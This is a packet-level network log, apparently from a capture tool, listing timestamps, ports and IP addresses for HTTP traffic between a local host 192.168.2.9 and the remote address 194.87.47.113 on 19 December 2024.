Dec 19, 2024 08:01:12.382015944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.382050991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.382608891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.382658958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.382687092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.382704020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.382740021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.383373022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.383493900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.383506060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.383538008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.384149075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.384179115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.384191990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.384201050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.384228945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.385006905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.385019064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.385075092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.385327101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.385338068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.385349989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.385375977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.386121035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386132956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386143923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386184931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.386204004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.386797905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386817932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386827946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.386867046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.387732983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.387744904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.387754917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.387789011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.387815952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.388494015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.388505936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.388518095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.388549089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.389112949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.389185905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.389193058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.389204979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.389245987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.389991999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390008926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390023947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390048027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.390672922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390717983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.390767097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390780926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.390829086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.391449928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.391509056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.391521931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.391549110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.392251015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.392262936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.392275095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.392292023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.392323971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.393080950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393093109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393105030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393137932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.393882990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393893957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393906116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.393923998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.393944979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.394644022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.394655943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.394668102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.394701958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.395351887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.395396948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.395427942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.395438910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.395478964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.396145105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396157980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396168947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396198034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.396843910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396886110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.396915913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396930933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.396975040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.397727013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.397769928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.397780895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.397805929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.398427010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.398474932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.398555040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.398565054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.398597002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.402308941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402349949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402362108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402410984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.402720928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402733088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402744055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.402770996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.402787924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.403512001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.403556108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.403599024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.403934956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.403956890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.403970003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.403997898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.404747009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.404759884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.404772997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.404808998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.404825926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.405476093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.405509949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.405522108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.405553102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.406573057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.406590939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.406601906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.406625986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.406656027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.407145977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.451306105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.539611101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.539686918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.539722919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.539743900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.539982080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.539998055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.540014982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.540025949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.540055037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.540633917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541244984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541258097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541280031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.541496992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541537046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.541685104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541697979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.541733980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.542592049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.542604923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.542642117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.572885990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.572917938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.572930098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.572942019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.572985888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.572999954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.573013067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.573040009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.573055029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.573843002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.573854923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.573865891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.573887110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.574512005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.574525118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.574537039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.574558020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.574580908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.575368881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.575380087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.575391054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.575434923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.576291084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.576303959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.576314926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.576334953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.576361895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.576735020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.577027082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.577070951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.577259064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.577305079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.577317953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.577343941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.578094959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578108072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578119993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578154087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.578186035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.578805923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578818083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578829050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.578861952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.579544067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.579598904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.579602003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.579613924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.579653025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.580576897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.580589056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.580599070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.580632925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.581244946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.581255913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.581268072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.581285000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.581310034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.581975937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582051992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582065105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582093000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.582746983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582758904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582770109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.582783937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.582812071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.583899975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.583913088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.583925009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.583970070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.584229946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.584266901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.584279060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.584290981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.584331036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.584966898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.585012913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.585026026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.585052967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.586009026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.586021900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.586034060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.586055040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.586080074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.587076902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587090015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587102890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587122917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.587352037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587363958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587371111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.587412119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.588136911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.588149071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.588160992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.588184118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.589241982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589255095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589267969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589288950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.589312077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.589606047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589648962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589660883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.589689016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.590574026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.590585947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.590595007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.590630054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.590658903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.595376968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595390081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595402002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595455885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.595850945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595864058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595875025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.595906973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.595937014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.596700907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.596714020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.596725941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.596780062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.597201109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.597213984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.597224951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.597254038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.597268105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.598054886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598067999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598078966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598115921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.598817110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598829985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598844051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.598896027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.599621058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.600464106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.600524902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.732093096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732110023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732120037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732132912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732279062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.732304096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.732311964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732323885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732336998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.732357979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.733769894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.733783960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.733795881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.733808041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.733827114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.733866930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.734255075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.734277010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.734306097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.734496117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.734538078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.764761925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.764853954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.764867067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.764904976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.765171051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.765192986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.765204906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.765218973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.765245914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.765923977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.765980005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.765993118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.766022921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.766771078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.766783953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.766798019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.766822100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.766855001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.767502069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.767513990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.767527103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.767560959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.768409014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.768421888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.768433094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.768456936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.768490076 CET	49739	80	192.168.2.9	194.87.47.113
